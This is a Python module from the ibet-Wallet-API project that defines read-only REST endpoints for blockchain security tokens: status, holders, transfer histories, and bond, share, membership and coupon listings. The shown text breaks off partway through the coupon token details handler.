| 0
| 0
| 1
| 0
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| null | 0
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| 0
| 0
|
0
| 7
|
fe3fcbd396d8c1ed11c14c136d9787ac143685ac
| 48,455
|
py
|
Python
|
app/api/v2/token.py
|
BoostryJP/ibet-Wallet-API
|
da7323a298bdb746e93da8a9b57a5da1dd6f14ac
|
[
"Apache-2.0"
] | 6
|
2021-06-16T02:06:21.000Z
|
2021-09-20T09:50:56.000Z
|
app/api/v2/token.py
|
BoostryJP/ibet-Wallet-API
|
da7323a298bdb746e93da8a9b57a5da1dd6f14ac
|
[
"Apache-2.0"
] | 68
|
2021-04-06T03:44:54.000Z
|
2022-03-29T02:00:02.000Z
|
app/api/v2/token.py
|
BoostryJP/ibet-Wallet-API
|
da7323a298bdb746e93da8a9b57a5da1dd6f14ac
|
[
"Apache-2.0"
] | null | null | null |
"""
Copyright BOOSTRY Co., Ltd.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
SPDX-License-Identifier: Apache-2.0
"""
from cerberus import Validator
from sqlalchemy import (
or_,
desc
)
from web3 import Web3
from eth_utils import to_checksum_address
from app import log
from app.api.common import BaseResource
from app.errors import (
InvalidParameterError,
DataNotExistsError,
NotSupportedError
)
from app import config
from app.contracts import Contract
from app.utils.web3_utils import Web3Wrapper
from app.model.db import (
Listing,
IDXPosition,
IDXTransfer,
IDXTransferApproval
)
from app.model.blockchain import (
BondToken,
ShareToken,
MembershipToken,
CouponToken
)
LOG = log.get_logger()
# ------------------------------
# [トークン管理]トークン取扱ステータス
# ------------------------------
class TokenStatus(BaseResource):
"""
Endpoint: /v2/Token/{contract_address}/Status
"""
def __init__(self):
super().__init__()
self.web3 = Web3Wrapper()
def on_get(self, req, res, contract_address=None, **kwargs):
LOG.info('v2.token.TokenStatus')
# 入力アドレスフォーマットチェック
try:
contract_address = to_checksum_address(contract_address)
if not Web3.isAddress(contract_address):
description = 'invalid contract_address'
raise InvalidParameterError(description=description)
except:
description = 'invalid contract_address'
raise InvalidParameterError(description=description)
session = req.context["session"]
# 取扱トークンチェック
listed_token = session.query(Listing).filter(Listing.token_address == contract_address).first()
if listed_token is None:
raise DataNotExistsError('contract_address: %s' % contract_address)
# TokenList-Contractへの接続
list_contract = Contract.get_contract('TokenList', config.TOKEN_LIST_CONTRACT_ADDRESS)
# TokenList-Contractからトークンの情報を取得する
token_address = to_checksum_address(contract_address)
token = Contract.call_function(
contract=list_contract,
function_name="getTokenByAddress",
args=(token_address,),
default_returns=(config.ZERO_ADDRESS, "", config.ZERO_ADDRESS)
)
token_template = token[1]
try:
# Token-Contractへの接続
token_contract = Contract.get_contract(token_template, token_address)
status = Contract.call_function(
contract=token_contract,
function_name="status",
args=()
)
transferable = Contract.call_function(
contract=token_contract,
function_name="transferable",
args=()
)
except Exception as e:
LOG.error(e)
raise DataNotExistsError('contract_address: %s' % contract_address)
response_json = {
'token_template': token_template,
'status': status,
'transferable': transferable
}
self.on_success(res, response_json)
# /Token/{contract_address}/Holders
class TokenHolders(BaseResource):
"""トークン保有者一覧"""
def on_get(self, req, res, contract_address=None, **kwargs):
LOG.info('v2.token.TokenHolders')
session = req.context["session"]
# Validation
try:
contract_address = to_checksum_address(contract_address)
if not Web3.isAddress(contract_address):
description = 'invalid contract_address'
raise InvalidParameterError(description=description)
except:
description = 'invalid contract_address'
raise InvalidParameterError(description=description)
# Check if the token exists in the list
listed_token = session.query(Listing).\
filter(Listing.token_address == contract_address).\
first()
if listed_token is None:
raise DataNotExistsError('contract_address: %s' % contract_address)
# Get token holders
# add order_by id to bridge the difference between postgres and mysql
holders = session.query(IDXPosition). \
filter(IDXPosition.token_address == contract_address). \
filter(or_(
IDXPosition.balance > 0,
IDXPosition.pending_transfer > 0,
IDXPosition.exchange_balance > 0,
IDXPosition.exchange_commitment > 0)). \
order_by(desc(IDXPosition.id)) .\
all()
resp_body = []
for holder in holders:
resp_body.append({
"token_address": holder.token_address,
"account_address": holder.account_address,
"amount": holder.balance,
"pending_transfer": holder.pending_transfer,
"exchange_balance": holder.exchange_balance,
"exchange_commitment": holder.exchange_commitment
})
self.on_success(res, resp_body)
# /Token/{contract_address}/TransferHistory
class TransferHistory(BaseResource):
"""トークン移転履歴"""
def on_get(self, req, res, contract_address=None, **kwargs):
LOG.info('v2.token.TransferHistory')
session = req.context["session"]
# 入力値チェック
try:
contract_address = to_checksum_address(contract_address)
if not Web3.isAddress(contract_address):
description = 'invalid contract_address'
raise InvalidParameterError(description=description)
except:
description = 'invalid contract_address'
raise InvalidParameterError(description=description)
# validation
request_json = self.validate(req)
# 取扱トークンチェック
listed_token = session.query(Listing). \
filter(Listing.token_address == contract_address). \
first()
if listed_token is None:
raise DataNotExistsError('contract_address: %s' % contract_address)
# 移転履歴取得
query = session.query(IDXTransfer). \
filter(IDXTransfer.token_address == contract_address). \
order_by(IDXTransfer.id)
list_length = query.count()
if request_json["offset"] is not None:
query = query.offset(request_json['offset'])
if request_json["limit"] is not None:
query = query.limit(request_json['limit'])
transfer_history = query.all()
resp_data = []
for transfer_event in transfer_history:
resp_data.append(transfer_event.json())
data = {
"result_set": {
"count": list_length,
"offset": request_json['offset'],
"limit": request_json['limit'],
"total": list_length
},
"transfer_history": resp_data
}
self.on_success(res, data=data)
@staticmethod
def validate(req):
request_json = {
"offset": req.get_param("offset"),
"limit": req.get_param("limit")
}
validator = Validator({
"offset": {
"type": "integer",
"coerce": int,
"min": 0,
"required": False,
"nullable": True,
},
"limit": {
"type": "integer",
"coerce": int,
"min": 0,
"required": False,
"nullable": True,
},
})
if not validator.validate(request_json):
raise InvalidParameterError(validator.errors)
return validator.document
# /Token/{contract_address}/TransferApprovalHistory
class TransferApprovalHistory(BaseResource):
"""トークン移転承諾履歴"""
def on_get(self, req, res, contract_address=None, **kwargs):
LOG.info("v2.token.TransferApprovalHistory")
db_session = req.context["session"]
# Validation
try:
contract_address = to_checksum_address(contract_address)
if not Web3.isAddress(contract_address):
raise InvalidParameterError("invalid contract_address")
except:
raise InvalidParameterError("invalid contract_address")
request_json = self.validate(req)
# Check that it is a listed token
_listed_token = db_session.query(Listing). \
filter(Listing.token_address == contract_address). \
first()
if _listed_token is None:
raise DataNotExistsError(f"contract_address: {contract_address}")
# Get transfer approval data
query = db_session.query(IDXTransferApproval). \
filter(IDXTransferApproval.token_address == contract_address). \
order_by(
IDXTransferApproval.exchange_address,
IDXTransferApproval.application_id
)
list_length = query.count()
# パラメータを設定
if request_json["offset"] is not None:
query = query.offset(request_json["offset"])
if request_json["limit"] is not None:
query = query.limit(request_json["limit"])
transfer_approval_history = query.all()
resp_data = []
for transfer_approval_event in transfer_approval_history:
resp_data.append(transfer_approval_event.json())
data = {
"result_set": {
"count": list_length,
"offset": request_json['offset'],
"limit": request_json['limit'],
"total": list_length
},
"transfer_approval_history": resp_data
}
self.on_success(res, data=data)
@staticmethod
def validate(req):
request_json = {
'offset': req.get_param('offset'),
'limit': req.get_param('limit'),
}
validator = Validator({
'offset': {
'type': 'integer',
'coerce': int,
'min': 0,
'required': False,
'nullable': True,
},
'limit': {
'type': 'integer',
'coerce': int,
'min': 0,
'required': False,
'nullable': True,
},
})
if not validator.validate(request_json):
raise InvalidParameterError(validator.errors)
return validator.document
# ------------------------------
# [普通社債]公開中トークン一覧
# ------------------------------
class StraightBondTokens(BaseResource):
"""
Endpoint: /v2/Token/StraightBond
"""
def __init__(self):
super().__init__()
self.web3 = Web3Wrapper()
def on_get(self, req, res, **kwargs):
LOG.info('v2.token.StraightBondTokens')
session = req.context["session"]
if config.BOND_TOKEN_ENABLED is False:
raise NotSupportedError(method='GET', url=req.path)
# Validation
request_json = StraightBondTokens.validate(req)
# TokenList-Contractへの接続
list_contract = Contract.get_contract(
contract_name='TokenList',
address=config.TOKEN_LIST_CONTRACT_ADDRESS
)
# 取扱トークンリストを取得
available_tokens = session.query(Listing).\
filter(Listing.is_public == True).\
order_by(Listing.id).\
all()
list_length = len(available_tokens)
if request_json['cursor'] is not None and request_json['cursor'] > list_length:
raise InvalidParameterError("cursor parameter must be less than token list num")
# パラメータを設定
cursor = request_json['cursor']
if cursor is None:
cursor = list_length
limit = request_json['limit']
if limit is None:
limit = 10
token_list = []
count = 0
for i in reversed(range(0, cursor)): # NOTE:登録の新しい順になるようにする
if count >= limit:
break
# TokenList-Contractからトークンの情報を取得する
token_address = to_checksum_address(available_tokens[i].token_address)
token = Contract.call_function(
contract=list_contract,
function_name="getTokenByAddress",
args=(token_address,),
default_returns=(config.ZERO_ADDRESS, "", config.ZERO_ADDRESS)
)
token_detail = StraightBondTokenDetails.get_token_detail(
session=session,
token_id=i,
token_address=token_address,
token_template=token[1]
)
if token_detail is not None:
token_list.append(token_detail)
count += 1
self.on_success(res, token_list)
@staticmethod
def validate(req):
request_json = {
'cursor': req.get_param('cursor'),
'limit': req.get_param('limit'),
}
validator = Validator({
'cursor': {
'type': 'integer',
'coerce': int,
'min': 0,
'required': False,
'nullable': True,
},
'limit': {
'type': 'integer',
'coerce': int,
'min': 0,
'required': False,
'nullable': True,
},
})
if not validator.validate(request_json):
raise InvalidParameterError(validator.errors)
return validator.document
# ------------------------------
# [普通社債]公開中トークン一覧（トークンアドレス）
# ------------------------------
class StraightBondTokenAddresses(BaseResource):
"""
Endpoint: /v2/Token/StraightBond/Address
"""
def __init__(self):
super().__init__()
self.web3 = Web3Wrapper()
def on_get(self, req, res, **kwargs):
LOG.info('v2.token.StraightBondAddresses')
session = req.context["session"]
if config.BOND_TOKEN_ENABLED is False:
raise NotSupportedError(method='GET', url=req.path)
# Validation
request_json = self.validate(req)
# TokenList-Contractへの接続
list_contract = Contract.get_contract(
contract_name='TokenList',
address=config.TOKEN_LIST_CONTRACT_ADDRESS
)
# 取扱トークンリストを取得
available_tokens = session.query(Listing).\
filter(Listing.is_public == True).\
order_by(Listing.id).\
all()
list_length = len(available_tokens)
if request_json['cursor'] is not None and request_json['cursor'] > list_length:
raise InvalidParameterError("cursor parameter must be less than token list num")
# パラメータを設定
cursor = request_json['cursor']
if cursor is None:
cursor = list_length
limit = request_json['limit']
if limit is None:
limit = 10
token_list = []
count = 0
for i in reversed(range(0, cursor)): # NOTE:登録の新しい順になるようにする
if count >= limit:
break
token_address = to_checksum_address(available_tokens[i].token_address)
token = Contract.call_function(
contract=list_contract,
function_name="getTokenByAddress",
args=(token_address,),
default_returns=(config.ZERO_ADDRESS, "", config.ZERO_ADDRESS)
)
if token[1] == 'IbetStraightBond': # ibetStraightBond以外は処理をスキップ
# トークンコントラクトへの接続
token_contract = Contract.get_contract("IbetStraightBond", token_address)
if Contract.call_function(token_contract, "isRedeemed", (), False) is False: # 償還済みの場合は処理をスキップ
token_list.append({"id": i, "token_address": token_address})
count += 1
self.on_success(res, token_list)
@staticmethod
def validate(req):
request_json = {
'cursor': req.get_param('cursor'),
'limit': req.get_param('limit'),
}
validator = Validator({
'cursor': {
'type': 'integer',
'coerce': int,
'min': 0,
'required': False,
'nullable': True,
},
'limit': {
'type': 'integer',
'coerce': int,
'min': 0,
'required': False,
'nullable': True,
},
})
if not validator.validate(request_json):
raise InvalidParameterError(validator.errors)
return validator.document
# ------------------------------
# [普通社債]トークン詳細
# ------------------------------
class StraightBondTokenDetails(BaseResource):
"""
Endpoint: /v2/Token/StraightBond/{contract_address}
"""
def __init__(self):
super().__init__()
self.web3 = Web3Wrapper()
def on_get(self, req, res, contract_address=None, *args, **kwargs):
LOG.info('v2.token.StraightBondTokenDetails')
if config.BOND_TOKEN_ENABLED is False:
raise NotSupportedError(method='GET', url=req.path)
# 入力アドレスフォーマットチェック
try:
contract_address = to_checksum_address(contract_address)
if not Web3.isAddress(contract_address):
description = 'invalid contract_address'
raise InvalidParameterError(description=description)
except:
description = 'invalid contract_address'
raise InvalidParameterError(description=description)
session = req.context["session"]
# 取扱トークンチェック
# NOTE:非公開トークンも取扱対象とする
listed_token = session.query(Listing).\
filter(Listing.token_address == contract_address).\
first()
if listed_token is None:
raise DataNotExistsError('contract_address: %s' % contract_address)
# TokenList-Contractへの接続
list_contract = Contract.get_contract(
contract_name='TokenList',
address=config.TOKEN_LIST_CONTRACT_ADDRESS
)
# TokenList-Contractからトークンの情報を取得する
token_address = to_checksum_address(contract_address)
token = Contract.call_function(
contract=list_contract,
function_name="getTokenByAddress",
args=(token_address,),
default_returns=(config.ZERO_ADDRESS, "", config.ZERO_ADDRESS)
)
token_detail = self.get_token_detail(
session=session,
token_address=token_address,
token_template=token[1]
)
if token_detail is None:
raise DataNotExistsError('contract_address: %s' % contract_address)
self.on_success(res, token_detail)
@staticmethod
def get_token_detail(session, token_address: str, token_template: str, token_id: int = None):
"""
トークン詳細の取得
:param session: DB Session
:param token_address: トークンアドレス
:param token_template: トークンテンプレート
:param token_id: シーケンスID（任意）
:return: BondToken(dict)
"""
if token_template == 'IbetStraightBond':
try:
# トークンコントラクトへの接続
token_contract = Contract.get_contract(token_template, token_address)
# 取扱停止銘柄はリストに返さない
if not Contract.call_function(token_contract, "status", (), True):
return None
bondtoken = BondToken.get(session=session, token_address=token_address)
bondtoken = bondtoken.__dict__
if token_id is not None:
bondtoken['id'] = token_id
return bondtoken
except Exception as e:
LOG.error(e)
return None
# ------------------------------
# [株式]公開中トークン一覧
# ------------------------------
class ShareTokens(BaseResource):
"""
Endpoint: /v2/Token/Share
"""
def __init__(self):
super().__init__()
self.web3 = Web3Wrapper()
def on_get(self, req, res, **kwargs):
LOG.info('v2.token.ShareTokens')
session = req.context["session"]
if config.SHARE_TOKEN_ENABLED is False:
raise NotSupportedError(method='GET', url=req.path)
# Validation
request_json = ShareTokens.validate(req)
# TokenList-Contractへの接続
list_contract = Contract.get_contract(
contract_name='TokenList',
address=config.TOKEN_LIST_CONTRACT_ADDRESS
)
# 取扱トークンリストを取得
available_tokens = session.query(Listing).\
filter(Listing.is_public == True).\
order_by(Listing.id).\
all()
list_length = len(available_tokens)
if request_json['cursor'] is not None and request_json['cursor'] > list_length:
raise InvalidParameterError("cursor parameter must be less than token list num")
# パラメータを設定
cursor = request_json['cursor']
if cursor is None:
cursor = list_length
limit = request_json['limit']
if limit is None:
limit = 10
token_list = []
count = 0
# TokenListを降順に調べる(登録が新しい順)
for i in reversed(range(0, cursor)):
if count >= limit:
break
# TokenList-Contractからトークンの情報を取得する
token_address = to_checksum_address(available_tokens[i].token_address)
token = Contract.call_function(
contract=list_contract,
function_name="getTokenByAddress",
args=(token_address,),
default_returns=(config.ZERO_ADDRESS, "", config.ZERO_ADDRESS)
)
token_detail = ShareTokenDetails.get_token_detail(
session=session,
token_address=token_address,
token_template=token[1],
)
if token_detail is not None:
token_detail["id"] = i
token_list.append(token_detail)
count += 1
self.on_success(res, token_list)
@staticmethod
def validate(req):
request_json = {
'cursor': req.get_param('cursor'),
'limit': req.get_param('limit'),
}
validator = Validator({
'cursor': {
'type': 'integer',
'coerce': int,
'min': 0,
'required': False,
'nullable': True,
},
'limit': {
'type': 'integer',
'coerce': int,
'min': 0,
'required': False,
'nullable': True,
},
})
if not validator.validate(request_json):
raise InvalidParameterError(validator.errors)
return validator.document
# ------------------------------
# [株式]公開中トークン一覧（トークンアドレス）
# ------------------------------
class ShareTokenAddresses(BaseResource):
"""
Endpoint: /v2/Token/Share/Address
"""
def __init__(self):
super().__init__()
self.web3 = Web3Wrapper()
def on_get(self, req, res, **kwargs):
LOG.info('v2.token.ShareTokenAddresses')
session = req.context["session"]
if config.SHARE_TOKEN_ENABLED is False:
raise NotSupportedError(method='GET', url=req.path)
# Validation
request_json = self.validate(req)
# TokenList-Contractへの接続
list_contract = Contract.get_contract(
contract_name='TokenList',
address=config.TOKEN_LIST_CONTRACT_ADDRESS
)
# 取扱トークンリストを取得
available_tokens = session.query(Listing).\
filter(Listing.is_public == True).\
order_by(Listing.id).\
all()
list_length = len(available_tokens)
if request_json['cursor'] is not None and request_json['cursor'] > list_length:
raise InvalidParameterError("cursor parameter must be less than token list num")
# パラメータを設定
cursor = request_json['cursor']
if cursor is None:
cursor = list_length
limit = request_json['limit']
if limit is None:
limit = 10
token_list = []
count = 0
# TokenListを降順に調べる(登録が新しい順)
for i in reversed(range(0, cursor)):
if count >= limit:
break
token_address = to_checksum_address(available_tokens[i].token_address)
token = Contract.call_function(
contract=list_contract,
function_name="getTokenByAddress",
args=(token_address,),
default_returns=(config.ZERO_ADDRESS, "", config.ZERO_ADDRESS)
)
if token[1] == 'IbetShare': # ibetShare以外は処理をスキップ
# Token-Contractへの接続
token_contract = Contract.get_contract("IbetShare", token_address)
if Contract.call_function(token_contract, "status", (), True): # 取扱停止の場合は処理をスキップ
token_list.append({"id": i, "token_address": token_address})
count += 1
self.on_success(res, token_list)
@staticmethod
def validate(req):
request_json = {
'cursor': req.get_param('cursor'),
'limit': req.get_param('limit'),
}
validator = Validator({
'cursor': {
'type': 'integer',
'coerce': int,
'min': 0,
'required': False,
'nullable': True,
},
'limit': {
'type': 'integer',
'coerce': int,
'min': 0,
'required': False,
'nullable': True,
},
})
if not validator.validate(request_json):
raise InvalidParameterError(validator.errors)
return validator.document
# ------------------------------
# [株式]トークン詳細
# ------------------------------
class ShareTokenDetails(BaseResource):
"""
Endpoint: /v2/Token/Share/{contract_address}
"""
def __init__(self):
super().__init__()
self.web3 = Web3Wrapper()
def on_get(self, req, res, contract_address=None, **kwargs):
LOG.info('v2.token.ShareTokenDetails')
if config.SHARE_TOKEN_ENABLED is False:
raise NotSupportedError(method='GET', url=req.path)
# 入力アドレスフォーマットチェック
try:
contract_address = to_checksum_address(contract_address)
if not Web3.isAddress(contract_address):
description = 'invalid contract_address'
raise InvalidParameterError(description=description)
except:
description = 'invalid contract_address'
raise InvalidParameterError(description=description)
session = req.context["session"]
# 取扱トークン情報を取得
# NOTE:非公開トークンも取扱対象とする
listed_token = session.query(Listing).\
filter(Listing.token_address == contract_address). \
first()
if listed_token is None:
raise DataNotExistsError('contract_address: %s' % contract_address)
# TokenList-Contractへの接続
list_contract = Contract.get_contract('TokenList', config.TOKEN_LIST_CONTRACT_ADDRESS)
# TokenList-Contractからトークンの情報を取得する
token_address = to_checksum_address(contract_address)
token = Contract.call_function(
contract=list_contract,
function_name="getTokenByAddress",
args=(token_address,),
default_returns=(config.ZERO_ADDRESS, "", config.ZERO_ADDRESS)
)
token_detail = self.get_token_detail(
session=session,
token_address=token_address,
token_template=token[1]
)
if token_detail is None:
raise DataNotExistsError('contract_address: %s' % contract_address)
self.on_success(res, token_detail)
@staticmethod
def get_token_detail(session, token_address: str, token_template: str, token_id: int = None):
"""
トークン詳細の取得
:param session: DB Session
:param token_address: トークンアドレス
:param token_template: トークンテンプレート
:param token_id: シーケンスID（任意）
:return: ShareToken(dict)
"""
if token_template == 'IbetShare':
try:
# Token-Contractへの接続
token_contract = Contract.get_contract(token_template, token_address)
# 取扱停止銘柄はリストに返さない
if not Contract.call_function(token_contract, "status", (), True):
return None
sharetoken = ShareToken.get(session=session, token_address=token_address)
sharetoken = sharetoken.__dict__
if token_id is not None:
sharetoken['id'] = token_id
return sharetoken
except Exception as e:
LOG.error(e)
return None
# ------------------------------
# [会員権]公開中トークン一覧
# ------------------------------
class MembershipTokens(BaseResource):
"""
Endpoint: /v2/Token/Membership
"""
def __init__(self):
super().__init__()
self.web3 = Web3Wrapper()
def on_get(self, req, res, **kwargs):
LOG.info('v2.token.MembershipTokens')
session = req.context["session"]
if config.MEMBERSHIP_TOKEN_ENABLED is False:
raise NotSupportedError(method='GET', url=req.path)
# Validation
request_json = MembershipTokens.validate(req)
# TokenList-Contractへの接続
list_contract = Contract.get_contract(
contract_name='TokenList',
address=config.TOKEN_LIST_CONTRACT_ADDRESS
)
# 取扱トークンリストを取得
available_tokens = session.query(Listing).\
filter(Listing.is_public == True).\
order_by(Listing.id).\
all()
list_length = len(available_tokens)
if request_json['cursor'] is not None and request_json['cursor'] > list_length:
raise InvalidParameterError("cursor parameter must be less than token list num")
# パラメータを設定
cursor = request_json['cursor']
if cursor is None:
cursor = list_length
limit = request_json['limit']
if limit is None:
limit = 10
token_list = []
count = 0
# TokenListを降順に調べる(登録が新しい順)
for i in reversed(range(0, cursor)):
if count >= limit:
break
# TokenList-Contractからトークンの情報を取得する
token_address = to_checksum_address(available_tokens[i].token_address)
token = Contract.call_function(
contract=list_contract,
function_name="getTokenByAddress",
args=(token_address,),
default_returns=(config.ZERO_ADDRESS, "", config.ZERO_ADDRESS)
)
token_detail = MembershipTokenDetails.get_token_detail(
session=session,
token_id=i,
token_address=token[0],
token_template=token[1]
)
if token_detail is not None:
token_list.append(token_detail)
count += 1
self.on_success(res, token_list)
@staticmethod
def validate(req):
request_json = {
'cursor': req.get_param('cursor'),
'limit': req.get_param('limit'),
}
validator = Validator({
'cursor': {
'type': 'integer',
'coerce': int,
'min': 0,
'required': False,
'nullable': True,
},
'limit': {
'type': 'integer',
'coerce': int,
'min': 0,
'required': False,
'nullable': True,
},
})
if not validator.validate(request_json):
raise InvalidParameterError(validator.errors)
return validator.document
# ------------------------------
# [会員権]公開中トークン一覧（トークンアドレス）
# ------------------------------
class MembershipTokenAddresses(BaseResource):
"""
Endpoint: /v2/Token/Membership/Address
"""
def __init__(self):
super().__init__()
self.web3 = Web3Wrapper()
def on_get(self, req, res, **kwargs):
LOG.info('v2.token.MembershipTokenAddresses')
session = req.context["session"]
if config.MEMBERSHIP_TOKEN_ENABLED is False:
raise NotSupportedError(method='GET', url=req.path)
# Validation
request_json = MembershipTokens.validate(req)
# TokenList-Contractへの接続
list_contract = Contract.get_contract(
contract_name='TokenList',
address=config.TOKEN_LIST_CONTRACT_ADDRESS
)
# 取扱トークンリストを取得
available_tokens = session.query(Listing).\
filter(Listing.is_public == True).\
order_by(Listing.id).\
all()
list_length = len(available_tokens)
if request_json['cursor'] is not None and request_json['cursor'] > list_length:
raise InvalidParameterError("cursor parameter must be less than token list num")
# パラメータを設定
cursor = request_json['cursor']
if cursor is None:
cursor = list_length
limit = request_json['limit']
if limit is None:
limit = 10
token_list = []
count = 0
for i in reversed(range(0, cursor)):
if count >= limit:
break
token_address = to_checksum_address(available_tokens[i].token_address)
token = Contract.call_function(
contract=list_contract,
function_name="getTokenByAddress",
args=(token_address,),
default_returns=(config.ZERO_ADDRESS, "", config.ZERO_ADDRESS)
)
if token[1] == 'IbetMembership': # ibetMembership以外は処理をスキップ
# Token-Contractへの接続
token_contract = Contract.get_contract("IbetMembership", token_address)
if Contract.call_function(token_contract, "status", (), True): # 取扱停止の場合は処理をスキップ
token_list.append({"id": i, "token_address": token_address})
count += 1
self.on_success(res, token_list)
@staticmethod
def validate(req):
request_json = {
'cursor': req.get_param('cursor'),
'limit': req.get_param('limit'),
}
validator = Validator({
'cursor': {
'type': 'integer',
'coerce': int,
'min': 0,
'required': False,
'nullable': True,
},
'limit': {
'type': 'integer',
'coerce': int,
'min': 0,
'required': False,
'nullable': True,
},
})
if not validator.validate(request_json):
raise InvalidParameterError(validator.errors)
return validator.document
# ------------------------------
# [会員権]トークン詳細
# ------------------------------
class MembershipTokenDetails(BaseResource):
"""
Endpoint: /v2/Token/Membership/{contract_address}
"""
def __init__(self):
super().__init__()
self.web3 = Web3Wrapper()
def on_get(self, req, res, contract_address=None, **kwargs):
LOG.info('v2.token.MembershipTokenDetails')
if config.MEMBERSHIP_TOKEN_ENABLED is False:
raise NotSupportedError(method='GET', url=req.path)
# 入力アドレスフォーマットチェック
try:
contract_address = to_checksum_address(contract_address)
if not Web3.isAddress(contract_address):
description = 'invalid contract_address'
raise InvalidParameterError(description=description)
except:
description = 'invalid contract_address'
raise InvalidParameterError(description=description)
session = req.context["session"]
# 取扱トークンチェック
# NOTE:非公開トークンも取扱対象とする
listed_token = session.query(Listing).\
filter(Listing.token_address == contract_address).\
first()
if listed_token is None:
raise DataNotExistsError('contract_address: %s' % contract_address)
# TokenList-Contractへの接続
list_contract = Contract.get_contract(
contract_name='TokenList',
address=config.TOKEN_LIST_CONTRACT_ADDRESS
)
# TokenList-Contractからトークンの情報を取得する
token_address = to_checksum_address(contract_address)
token = Contract.call_function(
contract=list_contract,
function_name="getTokenByAddress",
args=(token_address,),
default_returns=(config.ZERO_ADDRESS, "", config.ZERO_ADDRESS)
)
token_detail = self.get_token_detail(
session=session,
token_address=token_address,
token_template=token[1],
)
if token_detail is None:
raise DataNotExistsError('contract_address: %s' % contract_address)
self.on_success(res, token_detail)
@staticmethod
def get_token_detail(session, token_address: str, token_template: str, token_id: int = None):
"""
トークン詳細の取得
:param session: DB Session
:param token_address: トークンアドレス
:param token_template: トークンテンプレート
:param token_id: シーケンスID（任意）
:return: MembershipToken(dict)
"""
if token_template == 'IbetMembership':
try:
# Token-Contractへの接続
token_contract = Contract.get_contract(token_template, token_address)
# 取扱停止銘柄はリストに返さない
if not Contract.call_function(token_contract, "status", (), True):
return None
membershiptoken = MembershipToken.get(session=session, token_address=token_address)
membershiptoken = membershiptoken.__dict__
if token_id is not None:
membershiptoken['id'] = token_id
return membershiptoken
except Exception as e:
LOG.error(e)
return None
# ------------------------------
# [クーポン]公開中トークン一覧
# ------------------------------
class CouponTokens(BaseResource):
"""
Endpoint: /v2/Token/Coupon
"""
def __init__(self):
super().__init__()
self.web3 = Web3Wrapper()
def on_get(self, req, res, **kwargs):
LOG.info('v2.token.CouponTokens')
session = req.context["session"]
if config.COUPON_TOKEN_ENABLED is False:
raise NotSupportedError(method='GET', url=req.path)
# Validation
request_json = CouponTokens.validate(req)
# TokenList-Contractへの接続
list_contract = Contract.get_contract(
contract_name='TokenList',
address=config.TOKEN_LIST_CONTRACT_ADDRESS
)
# 取扱トークンリストを取得
available_tokens = session.query(Listing).\
filter(Listing.is_public == True).\
order_by(Listing.id).\
all()
list_length = len(available_tokens)
if request_json['cursor'] is not None and request_json['cursor'] > list_length:
raise InvalidParameterError(
"cursor parameter must be less than token list num")
# パラメータを設定
cursor = request_json['cursor']
if cursor is None:
cursor = list_length
limit = request_json['limit']
if limit is None:
limit = 10
token_list = []
count = 0
# TokenListを降順に調べる(登録が新しい順)
for i in reversed(range(0, cursor)):
if count >= limit:
break
# TokenList-Contractからトークンの情報を取得する
token_address = to_checksum_address(available_tokens[i].token_address)
token = Contract.call_function(
contract=list_contract,
function_name="getTokenByAddress",
args=(token_address,),
default_returns=(config.ZERO_ADDRESS, "", config.ZERO_ADDRESS)
)
token_detail = CouponTokenDetails.get_token_detail(
session=session,
token_id=i,
token_address=token_address,
token_template=token[1],
)
if token_detail is not None:
token_list.append(token_detail)
count += 1
self.on_success(res, token_list)
@staticmethod
def validate(req):
request_json = {
'cursor': req.get_param('cursor'),
'limit': req.get_param('limit'),
}
validator = Validator({
'cursor': {
'type': 'integer',
'coerce': int,
'min': 0,
'required': False,
'nullable': True,
},
'limit': {
'type': 'integer',
'coerce': int,
'min': 0,
'required': False,
'nullable': True,
},
})
if not validator.validate(request_json):
raise InvalidParameterError(validator.errors)
return validator.document
# ------------------------------
# [クーポン]公開中トークン一覧（トークンアドレス）
# ------------------------------
class CouponTokenAddresses(BaseResource):
"""
Endpoint: /v2/Token/Coupon/Address
"""
def __init__(self):
super().__init__()
self.web3 = Web3Wrapper()
def on_get(self, req, res, **kwargs):
LOG.info('v2.token.CouponTokenAddresses')
session = req.context["session"]
if config.COUPON_TOKEN_ENABLED is False:
raise NotSupportedError(method='GET', url=req.path)
# Validation
request_json = CouponTokens.validate(req)
# TokenList-Contractへの接続
list_contract = Contract.get_contract(
contract_name='TokenList',
address=config.TOKEN_LIST_CONTRACT_ADDRESS
)
# 取扱トークンリストを取得
available_tokens = session.query(Listing).\
filter(Listing.is_public == True).\
order_by(Listing.id).\
all()
list_length = len(available_tokens)
if request_json['cursor'] is not None and request_json['cursor'] > list_length:
raise InvalidParameterError(
"cursor parameter must be less than token list num")
# パラメータを設定
cursor = request_json['cursor']
if cursor is None:
cursor = list_length
limit = request_json['limit']
if limit is None:
limit = 10
token_list = []
count = 0
for i in reversed(range(0, cursor)):
if count >= limit:
break
token_address = to_checksum_address(available_tokens[i].token_address)
token = Contract.call_function(
contract=list_contract,
function_name="getTokenByAddress",
args=(token_address,),
default_returns=(config.ZERO_ADDRESS, "", config.ZERO_ADDRESS)
)
if token[1] == 'IbetCoupon': # ibetCoupon以外は処理をスキップ
# Token-Contractへの接続
token_contract = Contract.get_contract("IbetCoupon", token_address)
if Contract.call_function(token_contract, "status", (), True): # 取扱停止の場合は処理をスキップ
token_list.append({"id": i, "token_address": token_address})
count += 1
self.on_success(res, token_list)
@staticmethod
def validate(req):
request_json = {
'cursor': req.get_param('cursor'),
'limit': req.get_param('limit'),
}
validator = Validator({
'cursor': {
'type': 'integer',
'coerce': int,
'min': 0,
'required': False,
'nullable': True,
},
'limit': {
'type': 'integer',
'coerce': int,
'min': 0,
'required': False,
'nullable': True,
},
})
if not validator.validate(request_json):
raise InvalidParameterError(validator.errors)
return validator.document
# ------------------------------
# [クーポン]トークン詳細
# ------------------------------
class CouponTokenDetails(BaseResource):
"""
Endpoint: /v2/Token/Coupon/{contract_address}
"""
def __init__(self):
super().__init__()
self.web3 = Web3Wrapper()
def on_get(self, req, res, contract_address=None, **kwargs):
LOG.info('v2.token.CouponTokenDetails')
if config.COUPON_TOKEN_ENABLED is False:
raise NotSupportedError(method='GET', url=req.path)
# 入力アドレスフォーマットチェック
try:
contract_address = to_checksum_address(contract_address)
if not Web3.isAddress(contract_address):
description = 'invalid contract_address'
raise InvalidParameterError(description=description)
except:
